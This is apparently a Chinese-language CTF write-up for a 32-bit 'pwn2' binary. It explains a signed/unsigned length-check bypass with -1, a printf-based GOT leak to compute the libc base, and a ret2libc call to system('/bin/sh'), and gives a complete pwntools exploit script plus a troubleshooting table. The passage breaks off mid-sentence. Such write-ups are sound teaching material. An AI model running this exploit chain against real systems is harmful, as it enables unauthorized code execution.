32位pwn2整数溢出与libc泄露ret2libc实战

这道 pwn2 题我前后做了三遍第一遍卡在负数长度不生效第二遍卡在泄露出来的地址跟 libc 对不上第三遍才把整数溢出和泄露 libc 这两件事彻底串通。它是个非常典型的 32 位入门题程序自己带了一个看起来有边界检查的读入逻辑但检查用的是有符号 intread 用的是 size_t一个-1就把 32 字节的限制变成了 0xffffffff 字节。拿到栈溢出之后题目没开 PIE、没开 canary理论上可以直接 ret2text但程序里根本没有能拿 shell 的后门函数所以必须走 ret2libc ——先溢出一次把某个 libc 函数的真实地址打出来算出 libc 基址再溢出第二次跳到 system参数指向 /bin/sh。整数溢出负责能溢出泄露 libc 负责溢出到哪这两个点是这道题的全部。下面我按自己的分析顺序把每一步摊开写包括反编译的关键几行、偏移怎么量、泄露值怎么验、本地和远程为什么会表现不一样以及几个我在别的题里也反复用得上的技巧。1. 先把这题拆成两个可以独立攻克的小问题拿到一道 pwn 题最怕的是一上来就想 exp 怎么写写到一半发现连漏洞点都没定位准。我习惯先做减法把整道题拆成若干个如果只做这一步我能不能验证它对不对的小问题。这道 pwn2 拆下来就是两块一块是怎么让 read 读进超过缓冲区大小的数据另一块是拿到溢出能力之后跳到哪个地址才能拿到 shell。两块互相独立可以分别验证验证完再拼起来。1.1 拿到二进制文件后的固定动作不管什么题落地的第一批命令永远是那几个快而且信息密度高。先用file看架构确认是 32 位还是 64 位这决定了后面所有地址宽度、参数传递方式、gadget 写法。再用checksec看保护重点看 canary、NX、PIE、RELRO 四项。最后用 IDA 或者objdump -d看主逻辑。这三步做完题目大概能干什么基本就有数了。file ./pwn2 checksec --file./pwn2我这份样本的输出是这样的你自己的样本以实际输出为准Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这四行信息量很大。i386-32-little说明是 32 位小端函数参数走栈地址 4 字节p32打包。No canary found意味着栈溢出不需要先泄露 canary省掉一大截工作量。NX enabled意味着栈上不能执行代码shellcode 那条路直接堵死只能 ROP。No PIE意味着代码段的地址是固定的plt 表、got 表、函数地址在每次运行时都不变这让第一次溢出的返回地址可以直接写死。Partial RELRO说明 got 表可写但延迟绑定还在不影响我们读 got 表拿地址。提示checksec现在在新版 pwntools 里是pwn checksec独立包叫pwntools自带的checksec脚本或者checksec --file。如果提示找不到命令直接用 pwntools 里的ELF(./pwn2).checksec()一样能看。1.2 为什么必须走 ret2libc 这条路很多人做完 checksec 的第一反应是没开 PIE 那就 ret2text找一个system或者后门函数直接跳。这道题不行因为导入表里没有system程序自身也没有任何能执行命令的函数。没有可跳的目标ret2text 就是空谈。第二条路是 shellcodeNX 一开直接排除。第三条路是 ret2libc原理是libc 这个库在每个进程里都会被加载system和/bin/sh字符串都在里面只要知道 libc 在内存里的加载基址就能算出它们的绝对地址。而 libc 的加载基址每次运行都变ASLR所以要先泄露一个已经解析过的 libc 函数真实地址减去这个函数在 libc 文件里的固定偏移得到基址。这个思路听起来绕其实跟现实生活中的类比一模一样你知道某个朋友家在某条街上但不知道具体门牌你手里有一张某便利店距离他家 300 米的信息卡只要查到便利店在这条街上的确切门牌就能反推出他家的门牌。泄露出来的 libc 函数地址就是那张信息卡函数在 libc 里的偏移就是那 300 米libc 基址就是这条街的起点。注意走 ret2libc 有一个隐藏前提——你得知道目标进程用的 libc 版本。本地跑用本机的 libc远程打要用题目附带的那个 libc 文件。版本对不上偏移就全错算出来的 system 地址会跳到一片莫名其妙的区域表现为程序直接崩了没有任何输出。这是这类题最高频的失败原因后面第 5 节会专门展开。2. 整数溢出到底溢在哪一行 if 挡不住的负数这道题的核心漏洞不在 read而在 read 前面那个if。程序作者显然意识到了缓冲区只有 32 字节于是加了一句你要读的字节数不能超过 32看起来挺严谨。问题出在变量类型上这个长度变量声明成了有符号的int而if的判断、printf的打印、read的第三个参数三处对同一个值的解读并不一致。2.1 反编译代码的还原与关键行用 IDA 按 F5 出来的伪代码大概长这样变量名我按自己的习惯改过逻辑不变int vuln(void) { char buf[32]; // [ebp-0x28] int n; // [ebp-0x8] int pad; // [ebp-0x4] printf(How many bytes do you want me to read? ); scanf(%d, n); if ( n 32 ) { printf(No! That size (%d) is too large!\n, n); exit(0); } printf(Ok, sounds good. Give me %d bytes of data!\n, n); read(0, buf, n); return 0; }这段代码里有个很关键的信息buf在ebp-0x28n在ebp-0x8两者之间正好 32 字节和char buf[32]的声明对得上。n占 4 字节ebp-0x4到ebp之间还有 4 字节对齐填充再往上是 4 字节的 saved ebp。所以从buf起点到返回地址的直线距离是0x28 4 0x2c也就是 44 字节。这个数字后面会反复用到先记住。if (n 32)这行是典型的有符号比较。n是int32 是int编译器会用有符号比较指令jle之类来实现。-1跟 32 比-1更小条件不成立检查通过。程序不会报错反而高高兴兴地打印一句Give me -1 bytes of data!然后进入 read。2.2 int 到 size_t 的那次隐式转换read的原型是ssize_t read(int fd, void *buf, size_t count)第三个参数是size_t在 32 位下就是无符号的unsigned int。当n -1传进去的时候编译器不会报错也不会警告在默认警告级别下而是直接把-1的补码原样搬过去0xffffffff。有符号的 -1 和无符号的 4294967295 在内存里是同一串比特只是解读方式变了。这就是整数溢出的本质同一个 32 位值被检查时当成有符号数被使用时当成无符号数检查的语义和使用时的语义脱节了。检查认为很小实际使用认为极大。缓冲区只有 32 字节read 却被告知可以读 4G 字节后面有多少数据就写多少栈上那一整片区域全部被覆盖。这个模式远不止出现在 CTF 里真实软件里类似的 bug 一抓一把长度字段用int存校验时跟MAX_LEN比较然后传给memcpy的size_t参数。凡是先检查后使用、检查和使用类型不一致的地方都要警惕。提示不只是 -1 能用-100、-2147483648都能过检查。区别只在于转成无符号之后的值够不够大。-1转出来是最大的 0xffffffff最稳。有些题会把检查写成if ((unsigned)n 32)那就彻底堵死了这时候要往别的方向找。2.3 为什么 scanf 后面那个换行是必须处理的坑这是我在这一题上第一次翻车的地方也是这类用scanf读长度、read读数据的题的通用坑。scanf(%d, n)读到数字字符就停遇到非数字字符比如回车会把那个字符留在 stdin 的输入缓冲区里不消费掉。紧接着的read(0, buf, n)从 stdin 读第一个读到的就是那个残留的换行符\n。也就是说如果你按最直觉的写法io.sendline(b-1) # 发送 -1\n io.send(bA*44 p32(...)) # 这个 payload 会被整体后移一个字节read 会把\n写到buf[0]然后 44 个 A 写到buf[1..44]最后那个p32(...)落在buf[45]开始的位置。返回地址在buf[44]被写成了A0x41跳过去必崩。现象是程序收到 payload 之后直接段错误没有任何提示特别容易让人怀疑偏移算错了。解决办法很简单在 payload 前面主动补一个\n占位后面的填充少一个字节def build(payload): return b\n bA * (OFFSET - 1) payload这样buf[0]是那个残留的换行buf[1..43]是 43 个 A总共 44 字节刚好填到返回地址之前payload 从返回地址开始对齐。我个人的处理习惯是只要程序里出现scanf或getchar后面紧跟read/gets的组合就默认缓冲区里有残留字符先按补一个字节写跑通了再回头看要不要去掉。宁可多写一个\n也别在这上面浪费半小时。3. 泄露 libc第一次溢出该泄谁、怎么泄有了溢出能力第一次溢出不急着拿 shell而是拿地址。这一次溢出的目标是控制返回地址跳到一个能把某个 libc 函数的真实地址打印出来的函数上并且打印完之后程序还能再回到能触发漏洞的地方方便我们打第二次。3.1 输出函数的选择与优先级泄露的本质是把 got 表里的内容打到屏幕上。got 表存的是函数被解析后的真实地址只要程序之前调用过这个函数got 表里就是有效的 libc 地址。所以要挑一个已经被调用过的函数来泄露否则 got 表里还是 plt 的延迟绑定桩地址泄出来是 0x0804xxxx一看就不对。32 位下最常用的三个泄露手段我按优先级排手段优点缺点适用场景writeplt(1, got, 4)长度可控精确输出 4 字节不受 0x00 影响需要程序导入了 write且要凑三个参数需要 gadget有 writeplt 且能找到 pop ret 时首选putsplt(got)调用简单一个参数输出到 0x00 为止末尾额外输出换行且遇 0x00 截断有 putsplt 时最省事printfplt(got)不需要额外 gadget一个参数搞定把地址字节当格式串解析遇到 0x25%会崩或输出错乱没有 write/puts 时的兜底我手上这份样本的导入表里没有write也没有puts只有printf、scanf、read、exit这一类所以只能走printf(got)这条路。用elf.plt和elf.got一眼就能确认elf ELF(./pwn2) print(elf.plt) # 看看有哪些 plt 可用 print(elf.got) # 看看有哪些 got 可读printf(printf_got)能泄露靠的是一个有点 hack 的性质printf 的第一个参数被当作格式字符串的地址它会去这个地址读内容当格式串解析。printf_got这个地址里存的内容是 printf 的真实地址比如0xf7e1c4f0那么 printf 就把\xf0\xc4\xe1\xf7这四个字节当成格式串。这些字节里除了%0x25之外都不是格式说明符会被原样输出直到遇到 0x00 停止。于是屏幕上就出现了地址的原始字节。注意这个手法有个前提泄露出来的地址字节里不能含 0x00会提前截断也不能含 0x25会被当格式符解析轻则输出错乱重则崩。libc 加载在 0xf7xxxxxx 附近最高字节是 0xf7一般不会是 0但低字节恰好是 0x00 的概率约 1/256。如果你算出来的泄露值前几位明显不对先怀疑这个。3.2 栈溢出偏移的两种算法偏移这事儿不能靠猜我用过两种办法互相验证最保险。第一种是 IDA 静态看。前面反编译已经给出来了buf在ebp-0x28返回地址在ebp0x4相减得 0x2c也就是 44。这种算法快但前提是你看对了变量位置如果 IDA 里有数组或者结构体栈布局可能跟你以为的不一样。第二种是cyclic动态测最可靠。用 pwntools 生成一段有规律的字符串发过去程序崩溃时 EIP 会变成其中某 4 个字节用cyclic_find反查这 4 个字节在字符串里的位置就是准确偏移。from pwn import * io process(./pwn2) io.sendline(b-1) io.recvuntil(bdata!) io.send(b\n cyclic(100)) io.wait() # 崩溃信息里会显示 eip 0x6161616c 之类 # 然后 cyclic_find(0x6161616c) 就能得到偏移我这份样本实测出来是 44跟 IDA 算的一致。你拿到自己的副本之后务必自己跑一次cyclic别直接抄这个数。编译器版本、优化等级、题目作者改过代码都会让偏移变化44 只是这道题的答案。提示用cyclic的时候一定要记得前面那个\n占位否则测出来的偏移会莫名其妙多 1 或者少 1然后在别的地方排查半天。这种测量工具的误差比漏洞本身更折磨人。3.3 把泄露值换算成 libc 基址拿到 4 字节的泄露值之后用u32转成整数就是 printf 的运行时地址。然后用本地那份 libc 文件查出 printf 的偏移两者相减就是 libc 基址libc ELF(./libc.so) printf_addr u32(leak) libc_base printf_addr - libc.sym[printf] system_addr libc_base libc.sym[system] binsh_addr libc_base next(libc.search(b/bin/sh))这里有两个细节值得单独说。第一个是泄露值的补齐。printf(got)输出的是地址字节直到 0x00可能只输出 1 字节、2 字节就停了。用io.recv(4)如果只收到 2 字节u32会报错。正确写法是leak io.recv(4).ljust(4, b\x00) printf_addr u32(leak)ljust(4, b\x00)的意思是不足 4 字节就用 0x00 在右边补齐。这个技巧看着不起眼但在泄露类题目里能救很多次。因为在 32 位小端下地址的高位字节恰好是 0x00 的概率远比你想象的高。第二个是版本校验。在算基址之前先用泄露值的最低 12 位也就是页内偏移跟 libc 文件里 printf 的最低 12 位比一下。libc 是页对齐加载的每次运行只有高位变低 12 位是固定的。如果这两个数对不上说明你的 libc 文件不是目标进程用的那个后面算出来的一定是错的赶紧换文件别浪费时间去调 payload。print(hex(printf_addr 0xfff), hex(libc.sym[printf] 0xfff)) # 两个数必须完全相等否则 libc 版本不匹配这个方法比打一下看看崩不崩高效太多了我后来做所有泄露类题目都先在脚本里加这一行省掉很多试错。4. 第二次溢出从基址到 system(/bin/sh)libc 基址拿到之后剩下的就是标准的 ret2libc 构造。32 位的函数调用靠栈传参所以调用system(/bin/sh)的栈布局是返回地址跳system紧跟 4 字节的system 执行完返回到哪这里随便填反正拿到 shell 之后也不回来了再跟 4 字节的参数也就是/bin/sh的地址。4.1 完整 exp 逐段说明把上面所有东西拼起来完整的利用脚本大概是这样from pwn import * context(archi386, oslinux, log_levelinfo) elf ELF(./pwn2) libc ELF(./libc.so) printf_plt elf.plt[printf] printf_got elf.got[printf] vuln_addr elf.sym[vuln] # 符号表里没有的话用 IDA 里看到的函数起始地址 OFFSET 0x2c # 44 def build(payload): # scanf 残留的 \n 占 1 字节所以要少填 1 个 return b\n bA * (OFFSET - 1) payload def start(): if args.REMOTE: return remote(127.0.0.1, 9999) return process([stdbuf, -o0, ./pwn2]) io start() # ---------- 第一次溢出泄露 printf 的真实地址 ---------- io.sendlineafter(b?, b-1) io.recvuntil(bdata!) io.send(build(p32(printf_plt) p32(vuln_addr) p32(printf_got))) leak io.recv(4).ljust(4, b\x00) printf_addr u32(leak) log.success(printf - %#x % printf_addr) assert printf_addr 0xfff libc.sym[printf] 0xfff, libc 版本不匹配 libc_base printf_addr - libc.sym[printf] system_addr libc_base libc.sym[system] binsh_addr libc_base next(libc.search(b/bin/sh)) log.success(libc base - %#x % libc_base) # ---------- 第二次溢出跳 system(/bin/sh) ---------- payload p32(system_addr) payload p32(0) # system 的返回地址随便填 payload p32(binsh_addr) io.sendlineafter(b?, b-1) io.recvuntil(bdata!) io.send(build(payload)) io.interactive()逐段解释几个容易忽略的地方。vuln_addr这里有用elf.sym[vuln]自动取的写法。如果这个函数是static或者符号表被 strip 了elf.sym里可能没有那就去 IDA 里看函数的第一条指令一般是push ebp把那个地址抄下来。千万不要返回到函数中间中间地址缺少函数开头保存 ebp 的那条指令mov esp, ebp恢复栈的时候会拿到错误的 ebp函数返回时直接崩。返回函数开头让 prologue 完整走一遍才稳。第一次溢出的返回链是printf_plt - vuln_addr - printf_got。执行顺序是read 返回 → 跳到 printf_plt → printf 按栈上的参数取到printf_got当格式串 → 打印出地址 → printf 返回到vuln_addr→ 程序重新回到漏洞函数可以再打一次。第二次溢出的返回链是system_addr - 0 - binsh_addr。system 执行时esp指向0那一格它把这个当自己的返回地址把下一格binsh_addr当第一个参数。所以/bin/sh必须在system_addr往后数的第 3 个 4 字节位置。注意32 位下一般不用考虑 16 字节栈对齐问题那个是 64 位movaps的坑。但如果你在 32 位题上遇到system进去就崩、gdb 里看是在 libc 内部的某个movaps指令上挂掉可以试着在system前面多垫一个ret指令平衡栈。这种情况少见但存在记在心里有个底。4.2 本地调试验证与远程差异本地跑通之后不要急着打远程两边的环境差异经常让人白忙活。第一个差异是 libc 版本。本地是当前系统的 libc远程是题目附带的那个。这两个文件必须分开加载脚本里用一个参数控制libc ELF(./libc.so) if args.REMOTE else ELF(/lib/i386-linux-gnu/libc.so.6)或者干脆两个文件都准备好用args切换。我在做题目的时候习惯把远程 libc 存成./libc.so放在脚本同级目录本地用系统路径这样一条命令能跑两边。第二个差异是 stdout 缓冲。这个坑非常隐蔽表现为本地io.recvuntil(b?)一直卡住等半天收不到任何输出但用gdb挂上去看程序明明已经打印了。原因是程序通过管道运行时stdout 是全缓冲模式printf 的内容攒在缓冲区里没有真正写到管道等缓冲区满4096 字节或者程序退出才刷出来。解决办法有三个我按推荐程度排# 方案一用 stdbuf 强制 stdout 无缓冲最干净 io process([stdbuf, -o0, ./pwn2]) # 方案二用伪终端让程序以为自己连着终端stdout 变成行缓冲 io process(./pwn2, stdinPTY, stdoutPTY) # 方案三不 recvuntil直接盲发知道流程的情况下最快 io.sendline(b-1) io.recvuntil(bdata!) # 这一句可能也收不到改用 sleep我一般用方案一stdbuf -o0一行搞定不改变程序行为调试起来也干净。远程那边一般没这个问题因为服务端往往用伪终端方式启动进程或者是题目作者自己设置了setbuf。第三个差异是 ASLR。本地调试的时候有时候会想关掉 ASLR 方便观察echo 0 /proc/sys/kernel/randomize_va_space。但关掉之后测出来的地址是固定的容易掩盖两次溢出用的基址是不是同一个这类问题。我的建议是从一开始就开着 ASLR 调让你的 exp 从一开始就适应随机化别等到打远程才发现逻辑有问题。5. 踩坑速查表和几条不太写进文档的经验这道题我前后踩了五六个坑大部分在别的 pwn 题上也会重复出现。我把它们整理成一张表看到类似症状可以直接对号入座。5.1 问题速查表现象最可能的原因排查方法解决方式发完 payload 程序直接崩无任何输出偏移错了或者 scanf 残留的\n没处理用cyclic重测偏移在 payload 前加\n占位偏移按实测值改payload 统一用build()包一层泄露出来的地址是0x0804xxxx开头那个函数还没被调用过got 表里还是 plt 桩地址换一个已经被调用过的函数泄露选程序启动后立刻会调用的函数如 printf泄露值只有 2 个字节u32报错地址中间有 0x00提前截断打印io.recv(4)的原始字节看看用ljust(4, b\x00)补齐泄露值算出来不像 libc 地址libc 版本不对或者泄露函数选错比对addr 0xfff和libc.sym[func] 0xfff换正确的 libc 文件第二次溢出崩在 libc 内部system 地址算错基址是假的在 gdb 里x/i $eip看跳到了哪回到第一步重新核对 libc 版本本地 recvuntil 卡死远程正常stdout 全缓冲输出没刷出来用 gdb 挂上看是不是已经打印了stdbuf -o0或者PTY拿到 shell 后cat flag没回显交互模式问题或者 shell 没真正起来先发echo hello看有没有回用io.interactive()或者直接io.sendline(bcat flag)远程打不通本地一切正常远程 libc 不同或者远程端口没起先连一下看有没有 banner换题目给的 libc检查连接这张表里我标红过的心里标红是第一条和第四条。第一条坑的是你以为是漏洞没打通其实是自己发错了一个字节第四条坑的是你以为是 payload 写错了其实是文件拿错了。这两个都属于工具层面的问题靠看代码是看不出来的只能靠对症状的敏感度。5.2 几条不太好写在文档里的经验第一泄露类题目一上来先验版本别急着写完整 exp。我现在写所有 ret2libc 题第一步都是写一个最小的泄露脚本只干一件事泄地址、打印、比对低 12 位。这一步通过了后面写 payload 才有意义。如果这一步没过就往下写出问题的时候你要同时怀疑 payload 构造、偏移、libc 版本三个变量排查难度翻好几倍。把变量减少到一个是调试的基本功。第二printf(got) 这个泄露手法要留个心眼。前面说过它把地址字节当格式串解析如果地址里恰好有 0x25printf 会去找对应的参数栈上那些乱七八糟的值可能被当指针解引用直接段错误。遇到这种情况能换 puts 就换 puts没有 puts 就想办法用 write实在不行用printf(%s, got)这种需要 gadget 的写法。我遇到过一次泄露地址里带%的情况现象是程序打出一堆乱码然后挂掉找了半天才发现是这个原因。第三返回 vuln 的位置要选函数入口不是随便一行。这道题的 vuln 函数开头是push ebp; mov ebp, esp; sub esp, 0x28这三条指令建立了栈帧。如果你返回到sub esp, 0x28后面的某条指令函数结尾的leave; ret会用错误的 ebp 恢复栈程序必崩。我一开始图省事返回到中间的 read 调用处结果泄露完之后程序就死了第二次溢出根本没机会打。后来老老实实返回到函数入口一次就通了。第四payload 长度不要贴边。read 的 count 是 0